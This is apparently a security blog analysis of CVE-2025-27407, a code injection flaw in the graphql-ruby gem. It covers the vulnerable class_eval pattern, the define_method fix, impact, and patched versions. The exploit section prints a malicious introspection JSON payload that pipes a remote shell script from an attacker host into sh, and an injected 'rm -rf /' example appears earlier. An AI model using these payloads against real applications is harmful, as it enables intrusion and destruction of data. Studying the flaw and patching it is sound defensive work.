CVE-2025-27407

Schema to Shell: The GraphQL-Ruby Introspection Nightmare

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 12, 2026·7 min read

Executive Summary (TL;DR)

If your Ruby application loads GraphQL schemas from untrusted sources (like user uploads or external endpoints), you are likely vulnerable to RCE. The `graphql-ruby` gem was building code strings from schema names without validation. Update to the latest patch versions immediately.

A critical RCE in the popular `graphql-ruby` gem allows attackers to achieve remote code execution by providing malicious introspection data. By leveraging unsafe metaprogramming, specifically string-based `class_eval`, an attacker can inject arbitrary Ruby code during schema reconstruction.

The Hook: When Metadata Becomes Malware

In the world of modern APIs, GraphQL is the cool kid on the block. It’s strongly typed, self-documenting, and introspective. That last part—introspection—is usually a feature for developers. It allows tools to ask a server, "Hey, what does your data look like?" and get a JSON response describing every type, field, and argument. It’s the map of the territory.

But in the Ruby ecosystem, maps are sometimes drawn with nitroglycerin. CVE-2025-27407 exposes a terrifying reality in the graphql-ruby gem: the process of reading that map (introspection data) and building a Ruby object model from it was fundamentally broken. The library didn't just read the schema; it compiled parts of it directly into executable Ruby code using string interpolation.

Imagine you are an architect given a blueprint. Instead of just reading "Room: Kitchen," you inadvertently recite a magic spell written in the margin that burns the house down. That is exactly what happened here. By feeding a malicious schema definition to a vulnerable server, an attacker could turn a routine schema load into a full-blown Remote Code Execution (RCE) party. And since this library powers giants like GitLab, the blast radius is massive.

The Flaw: The Curse of Metaprogramming

Ruby is famous for its "magic"—metaprogramming capabilities that allow code to write code. It’s powerful, elegant, and, when used recklessly, absolutely catastrophic. The root cause of CVE-2025-27407 is a classic case of "String-to-Code Injection" (CWE-94), specifically involving class_eval.

To understand the bug, you have to look at how graphql-ruby handles input objects. When the gem loads a schema from an introspection result (a big JSON blob), it needs to define Ruby methods for each field on that input object so developers can access them easily. For performance reasons—or perhaps just old habits—the developers chose to generate these methods dynamically.

The logic went something like this: "Iterate through every argument name in the JSON. Create a string that defines a method with that name. Evaluate that string as Ruby code." Do you see the problem yet? They trusted the input. They assumed argument.name would be something innocent like firstName or email.

But eval doesn't care about innocence; it cares about syntax. If an attacker controls the introspection JSON, they control the strings being fed into the Ruby interpreter. There was no sanitization, no validation, and definitely no boundary checking. It’s the coding equivalent of letting a stranger write their name in wet cement, but the cement is actually your production database logic.

The Code: The Smoking Gun

Let’s look at the crime scene. The vulnerability lived primarily in lib/graphql/schema/input_object.rb (and similar locations like build_from_definition.rb). Here is the simplified vulnerable pattern that kept security researchers up at night:

# The Vulnerable Logic
arguments.each do |name, config|
  # ... logic to setup ...
  
  # The Fatal Flaw: String Interpolation into class_eval
  class_eval <<-RUBY, __FILE__, __LINE__ + 1
    def #{name}
      self[#{name.inspect}]
    end
  RUBY
end

In the code above, #{name} is interpolated directly into the method definition string. If name is user_id, you get def user_id. Great. But what if name is foo; system('rm -rf /'); def bar?

The fix implemented by the maintainers in commit e58676c70aa695e3052ba1fbc787efee4ba7d67e (and others) was a pivot to safe metaprogramming. Instead of building dangerous strings, they switched to define_method, which accepts a block. Blocks are compiled code; they don't treat data as syntax.

# The Fix: Using define_method
arguments.each do |name, config|
  # ... logic to setup ...
 
  # Safe: The name is just a symbol, not code
  define_method(name) do
    self[name]
  end
end

Additionally, they added a GraphQL::Schema::NameValidator to strictly enforce that GraphQL identifiers match the spec (alphanumeric and underscores), effectively neutering any attempt to inject punctuation like ; or " needed to break out of the syntax tree.

The Exploit: Breaking Out of the Box

Exploiting this requires an attacker to feed a malicious introspection JSON to the target. This scenario is common in development tools, CI/CD pipelines (like GitLab), or any service that "consumes" external GraphQL endpoints.

The Setup:

  1. The attacker sets up a malicious GraphQL endpoint or creates a JSON file mimicking a schema.
  2. The target application calls GraphQL::Schema.from_introspection(json) or GraphQL::Client.load_schema(url).

The Payload: We need to construct a JSON object where an INPUT_OBJECT has a field name that breaks Ruby syntax. We want to close the current method definition, execute our payload, and then start a new definition so the rest of the generated code remains valid (preventing a syntax error crash before execution).

{
  "kind": "INPUT_OBJECT",
  "name": "MaliciousInput",
  "inputFields": [
    {
      "name": "dummy\"; system(\"curl http://attacker.com/revshell | sh\"); def dummy_continuation",
      "type": { "kind": "SCALAR", "name": "String" }
    }
  ]
}

The Execution: When graphql-ruby processes this, it interpolates the name into the class_eval string. The resulting Ruby code looks like this:

def dummy"; system("curl http://attacker.com/revshell | sh"); def dummy_continuation
  self["..."]
end

Ruby executes this line by line. It sees def dummy. Then it sees the quote closing the string (which we didn't show here, but is part of the context). Crucially, the injection allows the system(...) call to sit outside any method body, or inside the class body, executing immediately when the class is defined. Boom. You have a shell.

The Impact: Why You Should Panic

This is a CVSS 9.1 Critical vulnerability for a reason. It is not a theoretical bypass; it is a direct path to arbitrary code execution. If you run a SaaS platform that integrates with user-defined GraphQL schemas—like GitLab does—you are essentially giving users a terminal on your backend servers.

The impact goes beyond simple data theft. An attacker can:

  1. Steal Environment Variables: Dump ENV to get AWS keys, database credentials, and API tokens.
  2. Lateral Movement: Use the compromised host to attack internal networks (SSRF on steroids).
  3. Persistence: Install backdoors that persist even after the gem is patched if the server isn't wiped.

GitLab had to patch this in versions 17.9.2, 17.8.5, and 17.7.7. The fact that a major DevOps platform was vulnerable highlights the ubiquity of this gem. It's the standard for Ruby GraphQL. If you use Ruby and GraphQL, you likely use this gem.

The Fix: Stopping the Bleeding

If you are running graphql-ruby, stop reading and check your Gemfile.lock. You need to be on a patched version now.

Patched Versions:

  • 2.4.13+
  • 2.3.21+
  • 2.2.17+
  • 2.0.32+
  • (And corresponding patches for older branches like 1.13.24)

The fix involves three layers of defense:

  1. Strict Name Validation: The gem now uses regex to ensure identifiers look like /[_a-zA-Z][_a-zA-Z0-9]*/. If you try to sneak in a quote or a semicolon, it throws an error before generating code.
  2. No More Eval: The dangerous class_eval strings have been replaced with define_method and class_exec. This separates code from data at the interpreter level.
  3. Static Analysis: The maintainers added a RuboCop rule to their development process to banish class_eval with strings forever. A little late, but good for future-proofing.

Mitigation (If you can't patch): If you are stuck on legacy code, you MUST validate any introspection JSON before it touches the gem. Ensure every name field in the JSON matches ^[a-zA-Z_][a-zA-Z0-9_]*$. But seriously, just patch it. Writing your own parser for this is asking for trouble.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
5.86%
Top 10% most exploited

Affected Systems

graphql-ruby gem < 2.4.13GitLab < 17.9.2Applications using GraphQL::Client with untrusted endpointsAny Ruby app loading introspection data via `from_introspection`

Affected Versions Detail

Product
Affected Versions
Fixed Version
graphql-ruby
Robert Mosolgo
< 2.4.132.4.13
graphql-ruby
Robert Mosolgo
< 2.3.212.3.21
GitLab Community/Enterprise
GitLab
17.7.0 - 17.7.617.7.7
GitLab Community/Enterprise
GitLab
17.8.0 - 17.8.417.8.5
AttributeDetail
CWE IDCWE-94 (Code Injection)
CVSS v3.19.1 (Critical)
Attack VectorNetwork (Introspection Loading)
EPSS Score5.86% (High Probability)
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Vulnerability Timeline

Vulnerability Disclosed & Patched
2025-03-12
GitLab Releases Fix (17.9.2)
2025-03-12
Public Analysis & PoCs emerge
2025-03-13

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.